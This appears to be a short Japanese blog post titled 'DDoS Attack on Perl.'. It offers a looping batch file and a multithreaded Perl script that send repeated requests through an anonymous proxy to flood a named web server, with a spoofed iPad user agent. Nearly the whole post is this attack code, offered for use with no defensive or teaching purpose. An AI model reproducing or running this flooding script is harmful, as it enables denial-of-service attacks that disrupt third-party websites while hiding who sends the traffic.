匿名Proxyを用いて、WEBサーバーに負荷を与える。

<FIRE.BAT>
:top
perl HTTP_PROXY_FIRE.pl
goto top
<HTTP_PROXY_FIRE.pl>
#!/usr/bin/env perl 
use strict;
use warnings;
use utf8;
binmode STDIN, ':encoding(cp932)';
binmode STDOUT, ':encoding(cp932)';
binmode STDERR, ':encoding(cp932)';
use Thread;

sub fire
{
use LWP::UserAgent;
use HTTP::Request;
use Encode;

my $ii = shift;
my $file = “F”.$ii.”.html”;
open(FH, “> “.$file);

my $ua = LWP::UserAgent->new();
$ua->agent(“iOS 9_2 – iPad – Safari 9.0”);
$ua->proxy(‘http’,’http://128.199.235.128:8080/’);
$ua->timeout(1000);
my $res = $ua->get(“http://kakunin.net/”);

print FH decode(‘utf-8’,$res->as_string);
close(FH);
}

my @thr = ();

my $max = 30;

for (my $nn = 0; $nn < $max; $nn++)
{
$thr[$nn] = Thread->new(\&fire, $nn);
}
for (my $nn = 0; $nn < $max; $nn++)
{
my $rtn = $thr[$nn]->join;
}

DDoS Attack on Perl.」への3件のフィードバック

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

*

code